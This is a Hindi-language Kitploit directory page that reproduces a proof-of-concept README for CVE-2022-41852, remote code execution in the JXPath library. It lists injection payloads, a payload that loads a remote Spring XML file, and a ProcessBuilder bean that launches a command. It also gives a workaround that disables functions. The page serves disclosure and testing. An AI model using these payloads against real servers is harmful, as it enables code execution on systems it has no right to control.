Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-41852 — CVE-2022-41852 अवधारणा का प्रमाण (अनौपचारिक) | Kitploit
उपकरण/GitHubGitHub/warxim/cve-2022-41852
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 अवधारणा का प्रमाण (अनौपचारिक)

रिपॉजिटरी देखें
741583 साल पहलेKitploit द्वारा समीक्षित
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

JXPath लाइब्रेरी में रिमोट कोड एक्ज़ीक्यूशन (CVE-2022-41852) प्रूफ ऑफ कॉन्सेप्ट

CVE-2022-41852 हमलावरों को एप्लिकेशन सर्वर पर कोड निष्पादित करने की अनुमति देता है।

आप इस भेद्यता के बारे में यहाँ और पढ़ सकते हैं:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

नोट: मैं इस CVE का लेखक नहीं हूँ। मैंने केवल यह प्रूफ ऑफ कॉन्सेप्ट बनाया है।

उपयोगी लिंक

  • JXPath GitHub
  • JXPath वेबसाइट
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

भेद्यता विवरण

JXPath लाइब्रेरी में XPath एक्सप्रेशन में फ़ंक्शन चलाने के लिए समर्थन है (देखें आधिकारिक उपयोगकर्ता मार्गदर्शिका)।

उदाहरण के लिए, विधियाँ JXPathContext.getValue(path) और JXPathContext.iterate(path) खतरनाक हैं यदि आप उपयोगकर्ता को path पैरामीटर में इनपुट भेजने देते हैं।

PoC विवरण

यह PoC एक साधारण Spring सर्वर शुरू करता है जिसमें दो एंडपॉइंट हैं:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

इन एंडपॉइंट्स में केवल एक क्वेरी पैरामीटर "path" है।

संभावित अनुरोध URL

निम्नलिखित अनुरोध ठीक काम करेंगे (कोई समस्या नहीं पैदा करेंगे):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

निम्नलिखित अनुरोध कोड निष्पादित करने का कारण बनेंगे:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

उदाहरण पेलोड

CVE-2022-41852 का पता लगाने के लिए उदाहरण पेलोड:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

कमांड निष्पादित करने के विभिन्न तरीके हो सकते हैं। उनमें से एक Spring के ClassPathXmlApplicationContext का उपयोग करना है:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

XML फ़ाइल में, आप बीन कॉन्फ़िगरेशन परिभाषित कर सकते हैं, उदाहरण के लिए, आप ProcessBuilder का इंस्टेंस बना सकते हैं और बीन को start() विधि का उपयोग करके आरंभ करके सर्वर पर निर्दिष्ट कमांड चला सकते हैं। निम्नलिखित उदाहरण में, Windows मशीन पर कैलकुलेटर खोला जाएगा:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

कॉन्टेक्स्ट बीन को ट्रैवर्स करके नई क्लास लोड करने का भी एक तरीका है, उदाहरण के लिए, निम्नलिखित कोड com.warxim.dangerous.DangerousClass क्लास को लोड करेगा, उसका इंस्टेंस बनाएगा और run("warxim") विधि को कॉल करेगा:

JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

ध्यान दें कि हमें ऑब्जेक्ट विधियों को उन ऑब्जेक्ट को पहले पैरामीटर के रूप में रखकर कॉल करना होगा जिनमें वे शामिल हैं।

CVE-2022-41852 के लिए वर्कअराउंड

JXPathContext में फ़ंक्शंस को खाली FunctionLibrary में functions फ़ील्ड सेट करके अक्षम करना संभव है।

// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

नोट: यह सभी फ़ंक्शंस को अक्षम कर देगा, इसलिए size() जैसे फ़ंक्शंस भी उपलब्ध नहीं होंगे।

फिक्स

फिक्स विकसित किया जा रहा है, देखें https://github.com/apache/commons-jxpath/pull/26

टूल डाउनलोड करें